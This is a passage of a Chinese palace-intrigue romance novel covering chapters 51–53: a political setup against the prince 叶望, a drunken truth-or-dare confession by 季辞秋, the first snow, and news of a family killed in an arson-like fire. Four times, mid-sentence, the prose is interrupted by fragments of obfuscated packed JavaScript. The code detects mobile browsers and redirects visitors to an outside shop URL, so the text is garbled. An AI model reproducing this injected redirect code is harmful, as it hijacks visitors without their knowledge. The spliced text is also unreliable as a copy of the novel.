“西郊的事，西城领军卫不来，叫南城的左武卫来？”叶望冷冷道。 “这......”卫羽迟疑，忽地意识到什么，脸色白了白。 远处又一队人马徐徐赶来，正是领军卫。见到叶望，领军卫大将军杜肇翻身下马，恭恭敬敬行了个大礼，正欲请罪，被叶望打断。 “本王无碍，客套话就免了吧。” 杜肇起身，看了看一旁的卫羽，笑着点头致意：“末将得知殿下遇险心急如焚，好在卫将军比末将更为心急，及时助殿下脱困，在下感激不尽。” 卫羽扯了扯嘴，笑不出来。 叶望淡淡扫了杜肇一眼，目光幽深。 今日此事，惊动了十二卫中的两卫，势必要捅到圣上面前了。不，准确来说，是有人处心积虑谋划了这出戏，专门演给圣上看。从那老妇到千秋阁诉冤开始，到大理寺卿透露他线索，再到张展顺利将卷宗誊录交予他，每一环，都有人在背后刻意引导，最终目的，便是为了城郊的这一出。不为杀他，只为叫圣上猜疑他与左武卫的关系。 是他大意了。日头贴在城墙上缓缓落下，绚烂的色彩铺满了半边天。他眼中凝结起如霜的寒意，趁着城门未合，打马回城。 “殿下，而今该如何？”临别时，卫羽面色凝重，压低声音道。 “圣人问起，如实禀告。”叶望留了这句话，轻拍马腹，分道扬镳了。 —— 西郊的事果然传到了景帝耳里，次日朝会后他留了卫羽和杜肇在殿。 “昨日西郊晋王遇刺，是怎么回事？”景帝看了眼二人，悠悠道。 “回陛下，末将昨日于西城巡逻，听闻城郊有刀剑之声，遂带队前去。”杜肇道。 “卫卿呢？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006307|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >卫羽心中惴惴，抿了抿嘴，终是道：“末将接到密报，说殿下在西郊遇刺，急需支援。” “密报？”景帝眉头一皱，看向杜肇，“杜卿送的？” 杜肇摇头。 “那便奇怪了，”景帝扶着椅托，往后靠了靠，“西郊的事，为何只通知了南边的左武卫，不通知西边的领军卫？” 卫羽失言，垂头道：“末将不知。” 景帝冷哼一声，目光微凝。卫羽任左武卫将军前，一直跟随老五驻守陇西，与老五关系匪浅。长林军解散后，他留在京中，并未解籍回乡。据同僚所述，卫羽未曾口出怨言，亦或对长林军的解散心怀不满，是以他才准允将他提到这个位置上。 只是不知他竟藏得这样深。 景帝眸中暗淡，翻腾起沉沉波涛，随手拿起案上的折子，重重往地上一摔。 霎时二人伏跪在地。 “荒唐！倘若京城十二卫都如你这般，一封密信便能驱使，朕的安危，京城的安危，靠谁来护？” “末将失职，请陛下责罚。”卫羽以头抢地，冷汗爬上额头。 景帝抚了抚长须，慢条斯理道：“左武卫将军卫羽，玩忽职守，疏忽大意，实乃难当此任。今降为折冲都尉，调离京城，以儆效尤。” —— 卫羽被降职的消息传开，叶望并不意外，反倒是张展听闻此事，心觉不对，一连多日往晋王府递了数封帖子，想当面问清。 原本不报希望，可不知为何，最后一封帖子叶望竟收下，还将时辰改到了今日。 张展坐在景明茶馆的隔间里，心中惴惴不安。 一阵铃声入耳，抬眼见叶望迈入，警惕看了看周围，将门合上。 “放心，此地是我家的私产，都是自己人。”张展道。 “找我何事？”叶望拂袖坐下。 “听说卫将军被发配去折冲府了？”张展觑着叶望的脸色道，见其一副神色淡淡的模样，终是按捺不住，凑近了些，“不会是和千金坊的案子有关吧？” “你觉得呢？”叶望浅酌了口茶。 “大有关系。”张展收回身子，笃定道。 叶望扯了扯唇，看向窗外，自嘲一笑：“疏忽大意，被摆了一道。” “谁敢摆你？”张展横眉，忽得想起什么，压低声音道，“齐王吗？” 又紧接着道：“上回围猎，我就见他目光不善，定是他做的手脚，嫁祸于你。” 叶望默不作声，凝神沉思，忽得想起围猎后他曾问过葵生第一次哨声的来源，当时葵生只说声音离他很近，但不知源头。 而今细想起来，自围猎到千金坊的案子，有一人一直跟在身边，案宗亦是她寻张展抄录的。 一丝酸涩的、怅然若失的情绪涌上心头，他紧了紧手，岔开道：“倘若此事真为齐王所为，你助我查案一事亦撇不清，今后不要再随意递帖到我府上，免得被人抓住把柄。” “又来了，”张展听多了这话，耳朵起了茧子，“其清，你我是何关系，眼见挚友陷于泥泞而不顾，这样的事，我张展做不来。” 他眼睛低垂，神色黯淡下来，轻轻道：“我不想再失去一个重要之人了。” 深秋的风裹挟着桂花香气，缓缓拨动窗纱，叶望神色复杂地看了他一眼，喉中滚动，终是未说什么。 51. 酒醉 冬至将近，天一日比一日冷，棠梨树的叶子尽数飘落，只留下光秃秃的树杈，在寒风中瑟瑟。 这日，葵生不知从何处掏来两坛黄桂酒，将季辞秋拉至一旁，神神秘秘道：“十年的陈酿，喝不喝？” “从哪搞的？”季辞秋奇道。 葵生得意地扬了扬眉：“朋友送的。” “喝。”季辞秋答应得很干脆，这样冷的天气，正好驱驱寒。 “搭把手，”葵生提起酒坛一侧，朝她招了招手，“趁王爷没发现，赶紧运回屋里。” “王爷不准在府内饮酒？”季辞秋奇怪道，上前抬起酒坛另一侧。 葵生点头，又道：“过去在长平时，倒是没这限制，大家闲来无事喝酒谈天，围着篝火起舞，那气氛，热闹极了。后来回了京城，酒还是酒，可没了那群人，不知怎的，少了好些滋味。” “王爷说，今时不同往日，喝酒只会麻痹自己，惹出祸端，遂不准......”他正说着，脚步一顿，声音逐渐减弱。 季辞秋顺着他的目光看去，恰好见叶望负手穿过游廊，步入中庭。 二人搬着酒坛，一时不知该往何处去，僵立在原地。 葵生率先反应过来，咧起一张嘴，强颜欢笑道：“王爷，十年的黄桂酒，天气冷了，喝上一壶暖暖？” 原本没指望叶望能同意，哪知他立在廊下，远远看了看二人，不知想了些什么，语气干脆道：“好。” 葵生呆了呆，不敢相信自己的耳朵，扯了扯季辞秋的衣摆，又确认了一遍：“王爷准了？” 季辞秋缓缓点头：“好像是。” 葵生激动地差点一跃而起，想起手中还抬着坛酒，稍稍按捺下来。自从回了京城，他已许久未和王爷一起喝酒了。 “好嘞！”他雀跃地应着，脚步轻快，“那就今夜，不醉不归！” 白日里天还晴朗，到了黄昏忽然阴沉沉的，像积攒了厚厚的棉絮，要铺天盖地地压下来。 葵生捧着几只碗跨过门槛，手腾不开，一面用腿将门踢合，一面将碗放至矮桌上。 “这天是越来越冷了，”他搓了搓手，“我去叫王爷。” 酒菜备好时，天已擦黑，季辞秋依次点起屋内的烛灯，见叶望负手而来。许是在府内，他的衣着并不繁复，只一件素白衣袍，外罩玄黑大氅。屋内燃着暖炭，他将氅袍解下，搭在衣桁上，在她旁边席地而坐。熟悉的沉水香。 葵生捧着酒坛将三只酒碗斟满，率先举杯：“我嘴笨，多的不会说，就祝大伙今夜尽兴，这一碗，我干了！” 说完便仰头咕咚咕咚，将满满一碗酒一饮而尽，抹一把嘴角，甚是回味。 季辞秋目瞪口呆看完，看了眼自己碗中泛着蜜色的酒。 葵生喝完，已是有些上头，怂恿地用肘撞了撞她：“白兄，我都喝完了，你怎么......” 季辞秋面露难色，捧起酒碗，正欲说些什么，被葵生打断：“这第一碗你必须干了，这是仪式。” 她闻此，移目看了眼叶望，见他垂眸不言，心想应是他们在军中的规矩，一咬牙，仰头灌酒。 烈酒入喉，所到之处撩起一片辛辣。喝得急了，酒液顺着脖颈留下，没入衣襟中。 “干了。”季辞秋将碗往桌上一撂，擦了擦嘴。 “白兄爽快！”葵生拍手称赞，又看了叶望，“王爷......” 叶望早已端起酒碗，虚虚往前一碰，勾了勾唇：“干了。” 说完风轻云淡地一饮而尽，面上毫无异色。 季辞秋心道不好，眼前这两位的酒量不知深浅，这样喝下去可不行。 思及此，她灵机一动：“光喝酒多没意思，我们玩个游戏吧。” “什么游戏？”葵生来了兴致。 “真心话大冒险。” “啥意思？”葵生眨了眨眼睛。 “字面意思，”季辞秋言简意赅，“我们人太少，大冒险玩不了，就玩真心话吧。” “先猜拳，输的人要回答赢的人的一个问题，问题不可重复，不可说谎，若是答不上或不想答，就自罚一杯。” “好！”葵生爽快答应。 “王爷......”季辞秋转头。 叶望没吭声，示意继续。 第一局，葵生输，季辞秋赢。 “正好我起个样，”她低眉沉思，“先来个简单的，最不喜的食物是何？” “羊角豆，”葵生脱口而出，“黏黏的，吃着可难受。” 第二局，叶望输，葵生赢。 “最称手的兵器是何？” “横刀。” 第三局，季辞秋输，葵生赢。 “加大点难度，”葵生很快上道，眼睛骨碌直转，“府中最不喜的人是谁？” 叶望一顿，看向季辞秋。 季辞秋扼腕认真想了想，端起酒碗：“还未有不喜之人，这一碗我干了。” 叶望别开眼。 第四局，叶望输，仍是葵生赢。 “王爷打得最满意的仗是哪次？” “为何不加大难度了？葵生，你针对我。”季辞秋笑骂。葵生嘿嘿一笑，抱头致歉。 叶望顿了顿，捏着碗的边沿，如实道：“没有。一场战争死伤无数，不过是两败俱伤，谈不上满意。”说着将酒一饮而尽。 “也是，”葵生低声道，“此问是我不妥，我跟着王爷自罚。” 第五局，叶望输，季辞秋赢。 季辞秋脑中晕晕的，想了想，提了个走心的问题：“王爷可曾有遗憾之事，是何？” “好，这个问题好！”葵生在一旁拍手。 叶望凝神，好一会没吭声。遗憾的事，那可太多了，像纷繁的雪花，一时择不出一片。近来遗憾之事呢？他望着虚空出神，又想起了长平一战。倘若那天他没有留守嘉定关，而是去云中郡亲自查探，事情会不会就不一样了？他总是忍不住一遍又一遍想。 “王爷？”声音将他拉回现实。 他扯了扯嘴角，抡起酒坛灌满，自罚了一杯。 后面的几局，葵生望着美酒两眼放光，不答问题，只一味喝酒。季辞秋因为身上秘密缠身，亦自罚多次。二人皆露醉态，唯有叶望不动如山。 这局季辞秋输，叶望赢。 她认命地将手一摊，撑着脑袋，强打起精神，等着叶望的问题，却听身旁一阵若有若无的鼾声。 偏头看去，葵生不知何时歪倒在地上呼呼睡去。 “王爷，你的问题......”她回过头，脑中早已一片混沌，还不忘提醒叶望。 暖炭燃烧，发出细微的噼啪声。叶望单手支着头，默不作声地盯着季辞秋，双目如潭。 满室交叠的烛光下，他能清楚地看到女子的双颊被烈酒晕染成红色，如曼陀罗香气从她的肌肤中蒸腾出， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015381|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着甜腻的暖意，渗入空气，侵入呼吸与神志，在意识到危险前，已让人心神微醺。 “你究竟是何人？”凉夜中响起沉沉的男声。 季辞秋揉了揉眼，耷拉着头想了想，将身子挪近了些，神秘兮兮道：“这是个秘密。” 叶望果然面色一凝，她像是恶作剧得逞，吃吃笑了几声，又口齿不清道：“不过我可以告诉你。” 叶望眯了眯眼，安静听着，心中却不知怎得紧张起来，他不着痕迹地攥了攥手。 “其实，我不叫白轩。但我和白轩的情况很相似，很小的时候就没了爹娘，一路摸爬滚打，好不容易日子好过了些，又卷进了一堆莫名其妙的事里。”季辞秋眼神迷离，苦恼地托着脑袋，神色一凛，“其实，我不是这个时代的人，有没有被吓到！我是阴差阳错来到这个时代的，但我也不知要怎么回去了，所以只能暂时留在这里......” 叶望原本还在仔细听着，可越听越荒唐不着调，他审视地看了眼滔滔不绝沉浸其中的季辞秋，张口欲打断，却对上她的灼灼目光。 “王爷是不是觉得我在胡言乱语？”季辞秋忽然激动起来，口中喃喃，“我就知道，没有人会信我，没有人会，你们只会把我当成疯子......可我说的都是真的，我真的好想回去，那里想做什么就做什么，再也不用每天战战兢兢，小心翼翼......”说着说着，她似是委屈极了，低低哽咽起来。 “你的那个......’时代’，是什么样？”叶望默了半晌，冷不丁问。 “我的时代......”季辞秋托着腮，呼出一口浊气，眼睛亮了亮，“我的时代可不一样了，人可以在天上飞，在水中潜，从长安到广陵最快只需一个时辰，可以很容易吃到岭南新鲜的荔枝，可以足不出户地买到各种货物。” “最重要的是，那个时代人人平等，虽然阶级仍然存在，但不似这里森严，女子可以读书，可以抛头露面。那个时代跪拜礼早已废除，改用点头握手，拥抱不再是私密之事，可以与朋友共享，人与人之间的通信更加便利，想念无需漫长的等待，远隔千里亦能即时看见彼此、听见彼此的声音......” 叶望默默听着，她的话中有些词他从未听过，一知半解，可从拼拼凑凑的只言片语中，不知不觉竟萌生出一丝向往的感情。 倘若果真有那个时代，他也想去看看。 “你既回不去，现今是何打算？”他稳了稳神，将话题扯回。 “还能有何打算，走一步看一步吧，”季辞秋懊恼地揉了揉头发，“原本我没打算牵扯进来，可没想到越陷越深，现在好了，骑虎难下。” “早知如此，我就不该入此局中，太苦了，每个人都太苦了......”她不住地摇头，忽地想起什么，看了眼叶望，目光有一瞬的失神，“其实，我知道王爷的结局，王爷想听吗？” 叶望眉心一跳，胸中剧烈起伏了一下，不动声色：“说来听听。” 他沉沉看着一旁的女子，见她默不作声地注视他良久，眸中又出现了过去那道落在他身上凝视的目光。他不喜欢她这样的目光，像是造物主的注视，背负着沉重的宿命，强大、不可改变，要将他与她隔到两个世界。 “不要看。”他忍不住凑近，虚虚遮住她的双眼，很快被她拨开。季辞秋笑了笑，碗中酒液倒映着柔光，微微晃动，她盯着发愣，良久轻声道：“骗你的，我也不知。” 52. 初雪 漫长的夜好似没有尽头，葵生于睡梦中翻身，将身旁的酒碗打翻，残余的酒流了一地。 季辞秋摇摇晃晃起身，想要捡起，脚下一阵虚浮，往一侧歪倒。 “当心。”叶望眼疾手快地扶住她的手臂，帮她稳住身子，却见那人有了他这一支点，竟软绵绵地瘫下来，不管不顾地倒在他身上。 一股混着酒气的清香扑面而来，他一瞬间绷紧全身。 酒意蒸腾，熏得反应迟钝，却将五感无限放大。电光火石间脑中只浮现四个大字，温香暖玉。 原是这样的感觉。 他垂眸看着怀中之人，女子的双唇红润，细腻的皮肤上笼着一层淡粉，从双颊到脖颈，一直延伸至衣襟内。 旖旎的心思如藤蔓般攀缠上来，他心猿意马，一败涂地。 “白轩。”他虚虚揽着，扯了扯她的衣袖，试探叫了一声。怀中人美梦正酣，纹丝不动。 夜的寒气侵袭，他静坐良久，叹了口气，一手揽起她，一手提着纱灯出门。 次日清晨，季辞秋从梦中苏醒，头痛欲裂。她看了看四周的陈设，愣了一瞬。昨夜不是同叶望和葵生在前院喝酒吗？她揉了揉脑袋，隐约记起葵生打翻了酒碗，酒淌了一地。她起身去捡，然后...... 零零碎碎的记忆浮现在脑海，她面色发红，心重重跳了一下。 紧实胸膛的触感又攀附上来，她抹了把脸，将身子往被衾中缩了缩。是叶望将她送回这里的？ 明媚的天光透过轩窗的明瓦，映入屋内。她心绪纷乱，盯着出神，隐隐见屋外零星飘起绒絮。 心中一喜，她翻身下床，三步并两步地跑出门外。 “下雪了——”季辞秋睡意全无，方才的心思抛至脑后，喜出望外地在府中穿梭，急着将这个消息分享给所有人。 葵生自正堂的地上悠悠转醒，掀起身上多出的褥子，坐着发呆。听见季辞秋的声音，他一跃而起，推开门。 “好大的雪，再下上一会儿，就能堆雪狮了。”他摩拳擦掌。 “是呀。”她一边说着，一边穿过廊道，见叶望一袭白衣立在檐下，仰头看着纷飞的雪花。 她停下脚步，静静看了一会，没出声。 觉察到目光，叶望缓缓转头，视线交错间微微一顿。天地白茫茫一片，衬着她一双眸子亮如寒星，眼波流转间，有碎光闪烁。 “今岁新栽的玉梅就要开了。”没由来的，他吐出这句话。 季辞秋走近，顺着他的目光好奇看去。 “何处？”她微微踮脚，左右张望，带起一阵幽香。 乌黑的发丝上沾着星星点点的雪粒，在日光下晶莹剔透，如璀璨玉石。他微微偏头，情不自禁抬手触碰。雪粒触之即融，只留下微凉寒意。 “王爷？”季辞秋回头，探究地看他。他一个激灵，回过神来。 “雕花漏窗后的那株。”他将手收回袖中，淡淡道。 季辞秋从檐下走出，隔着漏窗看，忽地惊呼一声，朝他招了招手：“王爷，快过来。” 雪愈下愈大，在庭院中积了厚厚一层，他略一犹豫，长腿跨过石板，迈入雪中。 “快看，这里有一株开了！”季辞秋兴奋地指了指。 叶望顺着她指的方向看过去，一树含苞待放的花骨朵中，果真有一株独自绽放，花蕊微黄，瓷白如玉。 季辞秋小心凑上去嗅了嗅，又吸吸鼻子，喃喃道：“闻不出什么。”样子活像一只狸猫。 他瞥了一眼她满头花白的雪片，暗自勾了勾嘴角。 哪知季辞秋抬头看他，亦扑哧一笑：“王爷的头发白了。” 他眸光流转，薄唇微动：“你的也是。” 季辞秋不在乎地甩了甩，张开手臂跑入雪中，仰头承接着雪花，似是想到什么，嘴角绽开明媚的笑意：“一场雪，我们都白了头了。” 这是天凤二十三年的初雪，晨光中，莹白的雪片打着转地在空中飞舞，落在匆匆赶路人的肩上，很快飘落在地，被车辙碾过。重檐碧瓦的京城，笼罩在一整片白茫茫的结界中。 叶望站在扑簌大雪中，望着雪地里肆意挥舞的女子，眼底漾开春水。 倘若一直如此，那便白了头吧。 午后雪势渐小，葵生迫不及待迈入院中，环顾四周，满意地点点头：“白轩，雪停了，出来堆雪狮吧！” 季辞秋闻声拉开门，院中铺上厚厚的积雪，映得青瓦朱栏都成了琉璃世界里的静物。 她悄悄抓起一把雪，团成雪球，趁葵生不备掷出，雪球划过一道短促的弧线，稳稳砸在葵生后背上。 “好啊白轩，敢偷袭我！”葵生叫嚣着，极快地从地上抄起一把雪，往前洒去。 季辞秋阴谋得逞，笑着躲开，被气急败坏的葵生追着满院子跑。 “王爷，今岁的雪下得可真好。”黎叔陪叶望站在廊下，笑道。 叶望负手而立，望着院中嬉笑打闹的二人，没作声。从前，他不喜欢下雪天，雪天意味着寒冷，紧随而来的皲裂、冻疮日复一日地磨人。铁铸的兵器寒凉，握在手中还未挥舞，疼痛已如细密的针侵入筋骨，蔓延全身。 长平人没有玩雪的习惯，寒冷的雪天，为了驱寒，只能围着火炉多灌些烈酒取暖。他的酒量亦是自那时变大的。 一枚雪球飞来，不偏不倚正中叶望，将他拉回现实。季辞秋惊呼一声，小跑过来。 他无奈摇头，示意无事，忽地转头一捞，挡住自斜后方偷袭而来的雪团。 “居然拦下了，”葵生可惜道，扬了扬手，“王爷，要不要加入？” 他没回答，身子却不由得往前走了几步，迈入长安的大雪中。 葵生不死心，又捻起一枚雪团，以极快地速度掷出，同样被叶望打散。 与此同时，另一雪球斜斜飞出，砸中了叶望。 葵生左看看右看看，大声抗议：“王爷偏心，只拦我的不拦他的！” “技不如人，莫找借口，”季辞秋狡黠一笑，唇角扬起弧线，“有本事你也让王爷偏心一下？” 雪团砸在身上，飞溅起一片晶莹的粉末，簌簌落下。叶望看着面前人洋溢的笑容，情不自禁扬起嘴角。雪天，似乎也没那么难熬。 —— 自从千金坊一事过去，叶玄再也没找过季辞秋。季辞秋私下打听了卫羽与叶望的关系，又将长安西郊的事从头至尾捋了一遍，惊出一身冷汗。倘若她没猜错，此事极有可能是叶玄同京兆府设下的圈套，怪不得张展抄卷宗的那日京兆府尹恰好不在，原是有意的。 那日叶玄同她问起叶望时，她心口不一，有意隐瞒，并未透露千金坊一案。如今想来，倒像个偷鸡不成蚀把米的小丑，案子没查成，还失了他的信任。 局面被动，她在明处，不知叶玄在暗处打什么算盘，只能静观其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027184|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变。可她一点也不后悔，反而感觉到从未有过的轻松。 在叶玄手下至今，她常常有莫名的不适感，她不喜欢叶玄的行事做派，阴晴不定，捉摸不透，时不时释放出令人窒息的压迫。周旋于叶玄与叶望之间，她能感觉，那架天平已渐渐倾斜，难以回到当初。私心里，她希望叶望赢，不管结局如何，她希望他今后的日子可以好过一些。 可在此之前，她确是叶玄安插的细作，为叶玄做过不少事，一个想要反水的细作，处境可想而知。 季辞秋垂丧着头，心中又漫起深深的无力。 “青戈要回来了！”葵生不知从何处得了消息，雀跃地跑进来。 “早知如此，我就将那两坛黄桂酒留到他回来时再喝了。”他叹了口气，颇为惋惜道。 “何时回来？”季辞秋问。 “我听得不太清，但好像就这几日。”葵生答。 正说着，垂花门外传来一声急促的马鸣，一人利落翻身下马，正欲入府，却被守在门口的小厮拦住。 “晋王府邸，未经许可不可擅闯，请出示拜帖。” 青戈略一迟钝，退至一旁，坐在门口等着。 “青戈！”葵生闻声前来，惊喜地叫他名字，见他在门外石阶旁干坐，哭笑不得，“傻坐那作甚？为何不进来？” 青戈一本正经：“我没有拜帖。” 葵生语塞，想到他一根筋的个性，拍了拍他的肩膀，引他入府。 季辞秋亦同青戈打招呼，却见他脸色变了变，神色复杂地看她一眼，往静水轩去了。 “不是说还有二三日吗？怎得提前了些？”叶望坐于正堂，好奇道。 “回王爷，途中马车坏了，碰巧遇见一行跑商之人，捎带了我和杜姑娘一程。那行人车马精良，速度亦是上乘，比先前的要快上许多。”青戈解释道。 叶望点头：“杜姑娘呢？” “已于王爷安置的宅子中落脚。”青戈紧跟着道，“王爷，广陵私盐一案我暗中留心过了，全权由宋节使主持，并未让郭统插手。不过最终官府公布的涉案名录中并未有郭统，反倒是治了薛刺史一个不察之罪。” 叶望目光微凝，他后来查过广陵那座走水的造纸厂，发现其地契持有人正是郭统。造纸厂与海陵有关，又在他们要查时离奇走水，很难不让人联想到私盐。他竟有这么大能耐，能赶在巡按使之前将所有痕迹一并清理撇清？ 正想着，青戈自怀中摸出一枚香囊：“这是王爷先前要查的双线结锦缎款香囊，钩织手法盛行于天凤六年，用料昂贵，持有者多为富贵人家。” 十七年前，富贵人家？叶望皱了皱眉。 “无影堂女子门生的事我亦查了，天凤十四年确有收过一女子入门，只不过入门名由为静修，两年后便离开了。我还听说，季将军曾与无影堂交好，如今将军出事，撇得倒是一干二净。” 季恪与无影堂交好，他并非不知，舞枪弄棒的，结识些江湖流派并不少见。只是这白轩，年幼之时便能以女子身份入无影堂静修，等闲不是寻常人家。 叶望心中暗忖，指尖在青玉镇纸上摩挲，他隐隐有预感，真相近在咫尺，呼之欲出。 “王爷，还有一事。”青戈的声音打断他的思绪。 “讲。” “巡按使抵达广陵前，广济坊一民宅深夜走水，一家三口殒命，那三人似是白轩的表亲......” 53. 囚徒 “你说什么？”季辞秋的笑容霎时凝固在脸上，抖着声道，“怕是弄错了吧，阿黎家在广济坊西边，民宅众多，连我都经常走错。” “广济坊官河东，正对着广济桥的那家，院中有一口大缸。”青戈垂眸，不带情感地叙述。 季辞秋越听心越凉，指甲掐入掌心，强颜欢笑道：“你也说了，临着官河，救起来亦方便，怎会出人命？” “事发时深夜，左邻右坊都入睡了，遂未及时发觉。”青戈闷声道，“发现时已来不及，一家三口......都没能出来。” 耳边一声轰响，四下的声音被抽空。廊下的风，远处隐约的市声，甚至脉搏的跳动，都消失了。她僵立在原地，喉咙里泛起一股浓重的腥甜。 不，这不是真的，她和阿黎约好了，在长安等她，等她成为名扬天下的大画家。她那么懂事，不可能食言的。 胸中压了块巨石，她重重地、极其艰难地喘了口气，捂着胸口缓缓蹲下来。 “......节哀。”青戈吐出二字，瞥她一眼，迟疑道，“此事官府定为意外，但据救火者所言，事发当夜他们在院中闻到了硫磺燃烧后的气味。此物用于助燃，寻常人家难见，因此......”他没说完后面的话。 季辞秋默不作声地听完，缓缓抬头，声音平静地可怕：“是谁？我去杀了他。” 青戈摇了摇头，如实道：“未有证据，府衙无法立案。” 她没动，两眼盯着地面，四肢逐渐绵软，连带着呼吸都无力起来。她忽然觉得很可笑，这一路忙忙碌碌，到头来，连亲近之人都无法守护。 心中升起虚无的迷雾，那些纵情山水的畅想不再鲜亮，褪成了灰白的水墨。她忽然不知该往何处去了，天地辽阔，万物生长，茫茫无归路。 —— 自从得知噩耗，季辞秋像变了个人般，形如一具躯壳。葵生盯着她犯难，只怕多说一句，又勾起她的伤心事。 “白轩，我昨日在集市上淘了只九连环，要不要玩玩？”他凑近，瞅着她脸色道。 “我不玩了，你玩吧。”声音轻如细丝，悠悠飘出来。 叶望沉沉看她一眼，抿了抿唇。照青戈所言，走水极有可能并非意外，而是有人刻意为之。但方建民一家皆为白丁，如何有此深仇大恨，竟要纵火灭门。此案既已定性，而他已回京城，再想查，怕是很难。 当晚，他将青戈叫过来，令他写一封匿名密帖飞鸽传书至淮南节度使宋延处。大致内容是广济坊走水一案蹊跷，还需细查。 “王爷为何对此案上心？”青戈捏着烫金纸，疑惑道，“疏漏之处，还请王爷明示。” 叶望顿了顿，浅浅移开目光，并未回答：“你且写了便是。” “是。”青戈应声，张了张嘴，又道：“只是这帖子果真管用？” “管不管用，也得试试才知。”叶望淡淡道，脑中浮现女子恹恹的面容，瞧她那副模样，眼下怕是只有这封信，可以叫她好受些吧，他暗暗想着，补了一句，“此事办了，你寻个机会透露给白轩吧，不要提本王。” 青戈一愣，面上泛起更大的茫然，王爷不是怀疑白轩吗，为何又暗中帮她。他一时半会想不明白，只得恭声应下。 葵生近日使出浑身解数，试遍了各种方法，也没能让季辞秋开心起来。他黔驴技穷，又不想看着他这般消沉下去，遂找黎叔求教。 黎叔看在眼里，摇头道：“此事旁人安慰无用，要走出来，只能靠自己。” “有没有什么转移注意的法子？” 黎叔略一思考：“别人不知道，但我只要手上有活，就能转移注意。” “手上有活？”葵生闷头思索，忽地眼睛一亮，“我明白了，黎叔，还得是你！” 用完午饭，葵生跑过来，告诉季辞秋王爷的生辰要到了，他忙得实在抽不出身，请她帮忙去东市的刀剑行取个东西。 她狐疑看了一眼近来整日闲得在她身边打转的葵生，正欲开口，见他一溜烟跑出门，根本不给她拒绝的机会。 她叹了口气，简单整理了一下，出了府。昨日，她从青戈口中无意得知有人为走水一案鸣不平，写了封密帖给淮南节度使。虽不知是何人，心里却燃起了一点微光，行路至此，左右消沉无义，只能咬牙往前走。 思及此，她理了理情绪，迈入人流中。 东市繁华，如一幅流动的锦缎。季辞秋在店铺与摊位间穿行，目光掠过流光溢彩的珠翠，并未停留。视线余光处，一抹冷色猝不及防撞入眼帘。 她停下脚步，自深色丝绒上拈起那枚玉佩。触手微凉，通体是极淡的蓝白，色泽清透，如极地冰川，对着光看，有清冷的光华静静辗转。 “姑娘好眼力，”掌柜笑眯眯地凑过来，“这是冰川玉料，材质上乘，颜色也特别，就是……冷了些，寻常人压不住。” 季辞秋没应声，指尖无意识地摩挲着光润的玉身，脑海里不期然浮现出一个人的影子。 朝堂浮沉中，那人神色常静，目光澄明，仿佛周身自有屏障，将一切喧嚣燥热隔开三尺。旁人只见其寒，可她见过他眉梢极淡的笑意，也知他默不作声的周全。 正如这枚玉佩，看似冷硬，内里却有极细微的、云雾状的纹理流淌，很衬他。恰好他生辰将至...... “掌柜，”她收回思绪，抬眼，“这枚玉佩，我要了。” 刀剑行在东市的西南角，她同掌柜说明来意，掌柜忙从木格架上取出一枚包好的定制花镖，迈出铺子时，日头已向西沉。 路上人杂，她将玉佩和花镖揣入里衣，匆匆往回走。拐入安邑坊时，四下窜出几人，堵住她的去路。 “齐王殿下有请，还请阁下配合。”来人微微一笑，和气道。 来者不善，她瞳孔微缩，打量着几人。该来的还是来了，看这架势，是非去不可了。她深吸一口气，垂头跟着他们走。 “季姑娘，好久不见，”叶玄懒懒靠在正堂的蟒纹宝座上，嘴角残留着若有若无的笑意，“本王度日如年，甚是想念。” 季辞秋伏跪在地，抿了抿唇。 “本王听闻前些日子，晋王在暗中调查千金坊，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036372|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知季姑娘可知？” 他盘着手中的玛瑙串，不等她回答，又自顾自道：“哦，本王忘了，先前并未听你提过此事，想必是不知罢。” 季辞秋低垂着头，心里清楚他已知晓她刻意隐瞒，眼下不过是暴雨前的前奏，遂一言不发，听候发落。 果然，叶玄不紧不慢步至她身前，微微弯着身子，凑近道：“可本王还听闻，季姑娘与晋王一同出入千金坊，为此事尽心竭力，甚是卖力。” “所以，为何有意隐瞒？”声音居高临下，压迫感十足。 季辞秋手心出汗，草草解释道：“并非有意隐瞒，卑职原本想着此事水落石出后再告知殿下，奈何中途生了变数。” 